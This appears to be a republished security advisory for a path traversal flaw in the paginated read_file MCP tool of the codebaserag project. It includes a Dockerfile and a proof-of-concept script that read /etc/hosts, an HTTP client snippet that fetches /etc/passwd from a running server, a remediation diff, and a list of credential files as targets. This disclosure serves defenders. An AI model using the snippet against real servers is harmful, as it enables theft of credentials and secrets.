Where
-Infinity
0
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The readfile MCP tool in codebaserag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.projectroot) / filepath without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.

Details

Vulnerable location: codebaserag/mcp/tools.py:556–565 (MCPToolsRegistry.readfile)

The readfile MCP tool accepts three parameters: filepath, offset, and limit. When either offset or limit is present the handler takes a distinct code path:

python codebaserag/mcp/tools.py:556-565 async def readfile( self, filepath: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCPREADFILE.format(path=filepath, offset=offset, limit=limit)) try: if offset is not None or limit is not None: fullpath = Path(self.projectroot) / filepath # ← VULNERABLE LINE start = offset if offset is not None else 0

with open(fullpath, encoding=cs.ENCODINGUTF8) as f: # ← SINK

Because pathlib.Path.truediv replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes fullpath to point outside the project root.

The non-paginated branch is protected by the @validateprojectpath decorator (applied via codebaserag/tools/filereader.py:27) which performs .resolve().relativeto(projectroot) (codebaserag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.

Full data-flow (source → sink):

1. codebaserag/config.py:302 — HTTP MCP default host is 0.0.0.0. 2. codebaserag/cli.py:717 — CLI exposes mcp-server. 3. codebaserag/cli.py:726–731 — --transport http invokes servehttp(host=resolvedhost, port=resolvedport). 4. codebaserag/mcp/server.py:208–210 — Starlette mounts the MCP HTTP endpoint. 5. codebaserag/mcp/tools.py:227–249 — readfile is registered as an MCP tool accepting attacker-controlled filepath, offset, and limit. 6. codebaserag/mcp/server.py:113–127 — calltool dispatches JSON arguments directly to the handler via await handler(arguments). 7. codebaserag/mcp/tools.py:561–565 — paginated branch builds fullpath and calls open(fullpath) without any boundary check.

The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.

PoC

Prerequisites:

- Docker installed. - Repository cloned with the vuln-001/ artifacts present (Dockerfile, poc.py).

Build and run:

bash From the repository root (parent of vuln-001/) docker build -t vuln001-poc -f vuln-001/Dockerfile . docker run --rm vuln001-poc

The Dockerfile installs the codebaserag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.

What the PoC does (poc.py):

1. Pre-mocks the mgclient / pymgclient native C extensions (Memgraph client) so the package imports without a live database. 2. Instantiates MCPToolsRegistry via object.new(), setting only self.projectroot = "/tmp/safe-project-root" — matching what the real server does. 3. Demonstrates the pathlib bypass: Path("/tmp/safe-project-root") / "/etc/hosts" resolves to Path("/etc/hosts"). 4. Calls registry.readfile("/etc/hosts", offset=0, limit=5) — the actual vulnerable method from the installed package. 5. Asserts that real /etc/hosts content is returned, confirming full boundary bypass.

Expected output:

[MCP] readfile: /etc/hosts (offset=0, limit=5) [+] CONFIRMED: pathlib discards projectroot when filepath is absolute [+] readfile() returned: Lines 1-5 of 7 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00:: ip6-localnet ff00:: ip6-mcastprefix ff02::1 ip6-allnodes [+] EXPLOIT SUCCESSFUL [+] Content of '/etc/hosts' exfiltrated via path traversal [+] Project root boundary '/tmp/safe-project-root' was completely bypassed [+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal

Equivalent HTTP transport attack (when server is running):

bash python3 - <<'PY' import anyio from mcp import ClientSession from mcp.client.streamablehttp import streamablehttpclient

async def main(): async with streamablehttpclient("http://127.0.0.1:8080/mcp") as (read, write, ): async with ClientSession(read, write) as session: await session.initialize() result = await session.calltool( "readfile", {"filepath": "/etc/passwd", "offset": 0, "limit": 10}, ) print(result.content[0].text)

anyio.run(main) PY

Remediation:

diff --- a/codebaserag/mcp/tools.py +++ b/codebaserag/mcp/tools.py @@ async def readfile( self, filepath: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCPREADFILE.format(path=filepath, offset=offset, limit=limit)) try: if offset is not None or limit is not None: - fullpath = Path(self.projectroot) / filepath + projectroot = Path(self.projectroot).resolve() + try: + fullpath = (projectroot / filepath).resolve() + fullpath.relativeto(projectroot) + except (ValueError, RuntimeError): + return te.ERRORWRAPPER.format( + message=lg.FILEOUTSIDEROOT.format(action="access") + ) start = offset if offset is not None else 0

with open(fullpath, encoding=cs.ENCODINGUTF8) as f:

Impact

This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.

An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:

- /etc/passwd, /etc/shadow — credential disclosure. - Application secrets, API keys, .env files, or private keys stored anywhere on the host. - Source code or configuration outside the intended project repository. - Cloud instance metadata endpoints reachable via the local file path (e.g., /proc/self/environ for environment variable leakage).

The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebaserag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.

Reproduction artifacts

Dockerfile

dockerfile FROM python:3.12-slim

Install build tools needed for some dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ gcc build-essential \ && rm -rf /var/lib/apt/lists/

WORKDIR /app

Copy the vulnerable repository source COPY repo/ /app/repo/

Install pure-Python dependencies (pymgclient is a native Memgraph client that requires a live Memgraph instance; we mock it in the PoC script instead) RUN pip install --upgrade pip --quiet && \ pip install --quiet \ loguru \ "mcp>=1.25.0" \ "pydantic-ai>=1.102.0" \ "pydantic-settings>=2.12.0" \ "python-dotenv>=1.2.1" \ "tiktoken>=0.12.0" \ "toml>=0.10.2" \ "tree-sitter==0.25.2" \ "tree-sitter-python>=0.25.0" \ "watchdog>=6.0.0" \ "typer>=0.21.1" \ "rich>=14.2.0" \ "prompt-toolkit>=3.0.52" \ "diff-match-patch>=20241021" \ "click>=8.3.1" \ "protobuf>=6.33.5" \ "defusedxml>=0.7.1" \ "huggingface-hub>=1.7.2" \ "pathspec>=1.0.4" \ "griffe>=1.0,<2" \ httpx \ anyio

Install the codebaserag package from the cloned repo. --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific; all other runtime deps were already installed above. RUN pip install --no-deps --quiet -e /app/repo/

Create the "safe" project root that the victim server would normally restrict to RUN mkdir -p /tmp/safe-project-root && \ echo "# This is a safe project file" > /tmp/safe-project-root/README.md

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

python #!/usr/bin/env python3 """ PoC for VULN-001: MCP paginated readfile path traversal / arbitrary file read ============================================================================= Repository : vitali87/code-graph-rag Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)

Vulnerable code location: codebaserag/mcp/tools.py lines 561-565 (MCPToolsRegistry.readfile)

Root cause: When 'offset' or 'limit' is provided, the method builds the path as: fullpath = Path(self.projectroot) / filepath # line 562 Python's pathlib discards 'projectroot' when 'filepath' is an absolute path. The non-paginated branch is protected by @validateprojectpath, but this branch has no such guard, so any absolute path is opened unconditionally.

Attack path (HTTP transport): MCP client -> POST /mcp -> calltool("readfile", {"filepath": "/etc/hosts", "offset": 0, "limit": 5}) -> MCPToolsRegistry.readfile("/etc/hosts", offset=0, limit=5) -> fullpath = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts") -> open("/etc/hosts") # no boundary check, file content returned

This PoC exercises the actual MCPToolsRegistry.readfile() method from the installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules because it is a native C extension that requires a live database; it is NOT used by the vulnerable code path. The MCPToolsRegistry instance is created via object.new() to skip the init that would connect to Memgraph -- the paginated readfile branch only reads self.projectroot, nothing else. """

import asyncio import sys from pathlib import Path from unittest.mock import MagicMock

--------------------------------------------------------------------------- Step 1: Pre-mock native dependencies that are irrelevant to the vuln path --------------------------------------------------------------------------- mgclient is a C extension (Memgraph client). It is imported at the top of codebaserag/services/graphservice.py. Inserting a MagicMock lets the module import succeed without a native library or a live Memgraph server. sys.modules["mgclient"] = MagicMock() sys.modules["pymgclient"] = MagicMock()

--------------------------------------------------------------------------- Step 2: Import the vulnerable class from the installed package --------------------------------------------------------------------------- print("[] Importing MCPToolsRegistry from installed codebaserag package ...") try: from codebaserag.mcp.tools import MCPToolsRegistry except Exception as exc: print(f"[!] Import failed: {exc}") sys.exit(2) print("[+] Import successful\n")

--------------------------------------------------------------------------- Step 3: Build a minimal MCPToolsRegistry instance (bypassing init) --------------------------------------------------------------------------- init connects to Memgraph and Qdrant -- neither is available here. The paginated readfile branch uses ONLY self.projectroot, so setting just that attribute is sufficient to reproduce the vulnerability. SAFEROOT = "/tmp/safe-project-root"

registry = object.new(MCPToolsRegistry) registry.projectroot = SAFEROOT

print(f"[] MCPToolsRegistry instance created via object.new()") print(f"[] projectroot = {SAFEROOT!r}") print()

--------------------------------------------------------------------------- Step 4: Demonstrate the pathlib absolute-path bypass --------------------------------------------------------------------------- ATTACKPATH = "/etc/hosts"

joined = Path(SAFEROOT) / ATTACKPATH print("[] Pathlib join behaviour (the root cause):") print(f" Path({SAFEROOT!r}) / {ATTACKPATH!r}") print(f" => {joined}") print(f" Expected (safe) path: {SAFEROOT + ATTACKPATH}")

assert str(joined) == ATTACKPATH, ( f"Unexpected pathlib behaviour: expected {ATTACKPATH!r}, got {joined!r}" ) print("[+] CONFIRMED: pathlib discards projectroot when filepath is absolute\n")

--------------------------------------------------------------------------- Step 5: Call the actual vulnerable method --------------------------------------------------------------------------- print(f"[] Calling registry.readfile({ATTACKPATH!r}, offset=0, limit=5)") print(f"[] Executing vulnerable line: fullpath = Path(self.projectroot) / filepath") print(f"[] Resulting fullpath = {joined}") print()

async def runpoc() -> str: return await registry.readfile(ATTACKPATH, offset=0, limit=5)

result = asyncio.run(runpoc())

print("[+] readfile() returned:") print("-" 60) print(result) print("-" 60) print()

--------------------------------------------------------------------------- Step 6: Validate the output contains real /etc/hosts content --------------------------------------------------------------------------- with open(ATTACKPATH) as fh: actualhosts = fh.read()

Accept any of: pagination header, loopback address, or raw /etc/hosts lines confirmed = ( "Lines " in result # pagination header present or "127.0.0.1" in result # standard loopback entry or "localhost" in result # standard hostname entry or "::1" in result # IPv6 loopback or any( line.strip() in result for line in actualhosts.splitlines() if line.strip() and not line.startswith("#") ) )

if confirmed: print("[+] EXPLOIT SUCCESSFUL") print(f"[+] Content of '{ATTACKPATH}' exfiltrated via path traversal") print(f"[+] Project root boundary '{SAFEROOT}' was completely bypassed") print() print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal") sys.exit(0) else: print("[-] Validation failed -- could not find /etc/hosts content in result") print(f"[-] Returned value: {result!r}") sys.exit(1)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203